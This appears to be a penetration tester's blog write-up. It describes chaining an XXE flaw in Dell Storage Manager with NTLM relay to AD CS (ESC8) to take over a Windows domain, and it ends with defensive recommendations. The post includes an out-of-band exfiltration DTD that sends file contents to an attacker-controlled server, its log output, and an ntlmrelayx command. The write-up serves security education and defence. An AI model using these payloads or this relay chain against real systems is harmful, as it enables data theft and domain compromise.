If you asked me to tell you whether "hacking" is an art or a science, I could not say. Nothing about it is straightforward, and nothing about it is intuitive: the most careful scrutiny of reverse engineering by a talented computer scientist can be outpaced by a high school student thinking "hey, have we tried this yet?" from their desk. Perhaps that is the magic of it: a professional pianist may spend an entire day carefully measuring the tuning of their instrument and an orthopaedic surgeon may spend an entire day inspecting the integrity of their bone saw, but often hacking is simply drawing the "amazing" from the fresh air of the "ordinary."
What follows is, as the title suggests, "a simple twist on an old trick." It describes using an XML eXternal Entity (XXE) attack targeting a domain-attached computer to induce an authentication coercion to obtain an otherwise unauthenticated foothold. This has been done before [a] but is not a commonly documented result of these sorts of attacks [b]. Here, it is shown in combination with an additional network insecurity to effect a domain takeover.
A recent test had me revisit the internal network of a client Scorpion Labs had worked very well with one year ago. The good news and bad news was the same: they had very clearly paid attention to many of our recommendations (good for them) and that locked us out of a lot of unauthenticated endpoints (bad for us, although it’s always good to see your recommendations make a network more secure). Most of the servers vulnerable to unauthenticated exploits were patched, (we would later learn) that the new password policy made password spraying attacks unlikely, and domain-attached resources were no longer responding to multicast name resolution.
Nessus scans did present us with one domain-attached opening for an unauthenticated foothold: a Dell Storage Manager server that was vulnerable to the set of late-2025 CVEs described in DSA-2025-393 [c]. These include two authentication bypasses that could have allowed us to control the storage environment, and an XXE vulnerability. We internally debated asking the clients if we could explore the storage environment for credential-related material but didn’t want to risk interrupting continuity-of-business operations, and since we didn’t know what the storage environment contained, we didn’t want to risk wasting our time or our clients’ benefit.
Instead, we used the XXE to coerce the storage manager to connect to our testing device (we were given an IP on the internal network) over SMB, then relayed those credentials to an Active Directory Certificate Services (AD CS) certificate authority server, blindly hoping it was vulnerable to the NTLM-to-HTTP relay attack commonly given the sobriquet “ESC8”. We have found this technique documented at least once before in [a], although not connected to certificate services. This proved to be successful as enrollment over HTTP(S) was enabled without enhanced protection for authentication (EPA) in place, and the “Machine” template is installed and enabled in AD CS by default. (Per Specter Ops, ESC8 itself is enabled by default when AD CS is set up and must be disabled for protections’ sake. See “NTLM Relay to AD CS HTTP Endpoints – ESC8” in [d].) This got us a certificate allowing our team to represent ourselves as the server that hosted the Dell Service Manager system. While certificates cannot be used to authenticate to SMB, they can be used to authenticate to LDAP (the -ldap-shell option in certipy auth) allowing us to create a computer account in the network with a known password. (By default, any domain user- including domain computers- can create up to ten computer accounts.)
Computer accounts are often undervalued, as they do not represent classic “login” accounts associated with a user profile, but they are still capable of a surprising number of domain-related actions, such as:
Querying the Active Directory environment to populate BloodHound,
Together, these complete an attack chain which is a perfect balance between subtle and vicious:
Use the XXE to coerce a domain-attached device to connect to us; blindly obtain a Machine certificate by an NTLM-to-HTTP relay attack (ESC8),
DomainController certificate (this template is also installed by default, but by now we can verify that it is there) by the same NTLM-to-HTTP relay attack,Some of these steps are classic and set off SOC instrumentation like an Independence Day celebration. (They did. To say it was probably possible to be more subtle is an understatement.) But the trick all hinged on Step 1. Before getting into that one, I’m going to go through some of the classic XXE exploitation use cases. If you’re already familiar with these then just skip to “Where the Magic Happens.” Otherwise, let’s get started!
XXE attacks occur when a remote XML parser, when parsing input, will reach out to remote resources that define how the structure, elements, and attributes are intended to be represented or displayed. There are several flavors we often see these, such as in-band, error-based, and blind. Each can have a variety of impacts including exfiltration of files, server-side request forgeries (SSRFs) and internal port and service scanning. We’ll go through an example of each of these and how to exploit them, and ChatGPT was kind enough to write me a vulnerable server for each example that I’ve included in the attached GitHub repository [e]. (Keep in mind, these are intentionally vulnerable! Use only in a lab network and even then, preferably only on localhost!)
In-band XXE attacks occur when a parser allows an entity to be defined as the contents of a local file. While rare, they are the easiest to exploit as the parser will format file contents directly into the XML response, which makes stealing files from the remote system straightforward so long as the user running the parser has access to them. An example of an exploitative request may be:
|
|
Exploitative request that specifies the contents of /etc/passwd as an XML entity.
Our vulnerable parser is not intended to be very complicated: it simply parses the XML and returns the tree. In this case, the response will look like the following:
|
|
A simple parser with a simple response. If all XXEs were this straightforward hacking would be much easier.
A more common example of XXE attacks is an error-based attack. In this laboratory example, the (slightly more hardened) parser does not return the entire parsed document, but only “Parsed successfully” if the XML in the request was able to be parsed, or an exception if it was not. In this much more realistic example, requesting file:///etc/passwd as an entity no longer returns the file, simply an HTTP 200 OK and notification that the parser succeeded. However, the following request:
|
|
Exploitative request that specifies the contents of /nonexistent as an XML entity.
… receives the following response:
|
|
Who could have predicted that /nonexistent would not exist?
Good times. Even if no file is returned, an attacker can still learn a lot about the remote system. Does /etc/passwd exist (Linux) or C:\Windows\win.ini (Windows)? Sometimes software installed on the remote system can be discovered by looking for common file paths in the /usr/local/bin and C:\Program Files directories. Once the vector is understood the limitation is only on the creativity of the attacker to leverage it.
There is another condition that can be exploited when an XML parser allows for XXEs, and that is when the parser allows document-type definitions (DTDs), which define the shape and structure of documents of a certain “type,” to be defined remotely. Even when a condition is purely error-based, these can still allow an attacker to exfiltrate data in a two-step maneuver. In this case, the malicious request specifies a DTD at a remote location and trusts (in the uncommon circumstance) that the parser will seek it out:
|
|
Specifying elements defined in a DTD at http://127.0.0.1:8001/.
In parallel, an attacker-controlled resource at http://127.0.0.1:8001 hosts evil.dtd, which defines the following entities:
<!ENTITY % file SYSTEM "file:///etc/hostname"><!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://127.0.0.1:8001/?data=%file;'>">%eval;%exfil; |
A very benign evil.dtd.
When the misconfigured parser sees the malicious request, it sees that entity %remote is defined in evil.dtd at http://127.0.0.1:8001 and will reach out to obtain it. (This will appear in the attacker’s web logs.) The %file entity is defined to be the remote contents of /etc/hostname. Understanding the DTD requires the parser to identify %eval and %exfil, which can be found at http://127.0.0.1:8081/?data=%file (although it’s not necessary, this case uses the same web server that hosted the DTD). Then appearing in the web logs:
127.0.0.1 - - [02/Apr/2026 12:19:02] "GET /?data=scorpionlabs%0A HTTP/1.1" 200 - |
Got ‘em.
There’s a limitation to this, and an extension of its usefulness: certain files are difficult to exfiltrate this way; XML doesn’t like characters like newlines or colons, so an attacker might be limited in the files that can be exfiltrated. However, when a parser accepts remote DTDs, XXE attacks coerce the victim device into making web requests on the target’s behalf. If the XXE is also error-based then this can be used to internally port-scan on the other side of a firewall based on the error by specifying DTDs at URLs like http://other-side-of-firewall:interestingport/test.dtd, and if the response is in-band then the contents become a fully-fledged SSRF, returning the web page or server banner on the other side. Everyone having fun yet? Okay, get ready to see where the magic happens.
While XXE attacks are powerful in these applications alone, the trick we pulled relied on one critical feature: the vulnerable application and device would also reach out over UNC paths to access files stored remotely over SMB, and the process ran as the user of a domain-attached computer account. A request like the following caused the domain-attached device to reach out to a resource controlled by the testing team and attempt an NTLM authentication:
|
|
Specifying a UNC path in an XML request wrapped in Simple Object Access Protocol (SOAP) much like the one that exploited CVE-2025-46425.
From there, impacket-ntlmrelayx was waiting to catch the authentication attempt to forward it to the AD CS certificate authority server and obtain a certificate using the default Machine template:
kirby@scorpionlabs:~/relay$ impacket-ntlmrelayx -smb2support --template "Machine" --adcs -t |
Throwing for gold hoping that the certificate authority server was vulnerable to ESC8.
This part of the chain relied on us blindly guessing that the AD CS setup was vulnerable to ESC8 and that the XXE target could enroll in the Machine certificate template, but luckily it was the case in both instances. From there, the LDAP shell in certipy allowed us to create a machine account, and we could identify ourselves as a legitimate domain entity to any domain service. (Remotely accessing SMB using a certificate alone is not possible as SMB will only accept authentication by NTLM or Kerberos.) This allowed us to repeat ESC8 by coercing a domain controller, resulting in us, as the testing team, having a DomainController certificate that allowed us to authenticate to Directory Services from the position of highest privilege. From there we could choose whatever path we wanted: create a user and make them an administrator, change an administrator password and log in as them, or however we decided to peel that orange.
ESC8 is a vicious beast, particularly because it still seems to be the case that instances of AD CS are vulnerable to it by default, and care must be taken to disable it when setting up certificate services. The Specter Ops paper that popularized (and named) these attacks even calls out Microsoft for their lack of action in [d]. The recommendations to protect your network from ESC8 include disabling enrollment over HTTP, but if enrollment over HTTPS is still an option, enhanced protection for authentication must be required for all /certsrv/ endpoints to completely disable it.
ESC8 also has a closely related cousin: ESC11, an NTLM-to-RPC relay attack, which works in a nearly identical manner. Unlike ESC8, it is not enabled by default as the IF_ENFORCEENCRYPTICERTREQUEST (or EDITF_ENFORCEENCRYPTICERTREQUEST) flags are set by default on certificate authority servers but is sometimes required to allow compatibility with legacy clients such as Windows Server 2008 and Windows Server 2012. When patching up against ESC8, double-checking these flags (and honestly double-checking the entire output of certipy find) is strongly recommended.
[a] https://shubhamchaskar.com/xxe-to-ntlm/
[b] https://portswigger.net/web-security/xxe
[c] https://www.dell.com/support/kbdoc/en-us/000382899/dsa-2025-393-security-update-for-storage-center-dell-storage-manager-vulnerabilities
[d] https://specterops.io/blog/2021/06/17/certified-pre-owned/
[e] https://github.com/scorpion-security-labs